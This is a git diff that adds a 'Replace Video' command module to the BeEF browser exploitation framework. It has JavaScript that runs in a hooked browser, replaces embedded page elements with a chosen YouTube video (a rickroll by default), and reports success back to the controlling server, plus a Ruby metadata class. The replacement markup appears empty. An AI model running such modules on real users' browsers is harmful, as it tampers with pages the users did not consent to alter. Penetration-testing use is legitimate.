diff --git a/modules/commands/misc/replace_video/replace_video.js b/modules/commands/misc/replace_video/replace_video.js new file mode 100644 index 000000000..382caacf0 --- /dev/null +++ b/modules/commands/misc/replace_video/replace_video.js @@ -0,0 +1,15 @@ +beef.execute(function() { + + $j('<%= @jquery_selector %>').each( + function ( intIndex ) { + + var width = $j(this).css('width'); + var height = $j(this).css('height'); + + $j(this).replaceWith(''); + + } + ) + + beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "result=Replace Video Succesfull"); +}); \ No newline at end of file diff --git a/modules/commands/misc/replace_video/replace_video.rb b/modules/commands/misc/replace_video/replace_video.rb new file mode 100644 index 000000000..6bc93bdbe --- /dev/null +++ b/modules/commands/misc/replace_video/replace_video.rb @@ -0,0 +1,45 @@ +module BeEF +module Modules +module Commands + + +class Replace_video < BeEF::Command + + # + # Defines and set up the command module. + # + def initialize + super({ + 'Name' => 'Replace Video', + 'Description' => 'Replaces an object selected with jQuery (all embed tags by default) with an embed tag containing the youtube video of your choice (rickroll by default).', + 'Category' => 'Misc', + 'Author' => 'Yori Kvitchko', + 'Data' => + [ + ['name' => 'youtube_id', 'ui_label' => 'YouTube Video ID', 'value' => 'dQw4w9WgXcQ', 'width'=>'150px'], + ['name' => 'jquery_selector', 'ui_label' => 'jQuery Selector', 'value' => 'embed', 'width'=>'150px'] + ], + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_USER_NOTIFY, + 'browser_name' => ALL + }) + + use 'beef.dom' + use_template! + end + + def callback + content = {} + content['Result'] = @datastore['result'] + save content + + end + +end + +end +end +end \ No newline at end of file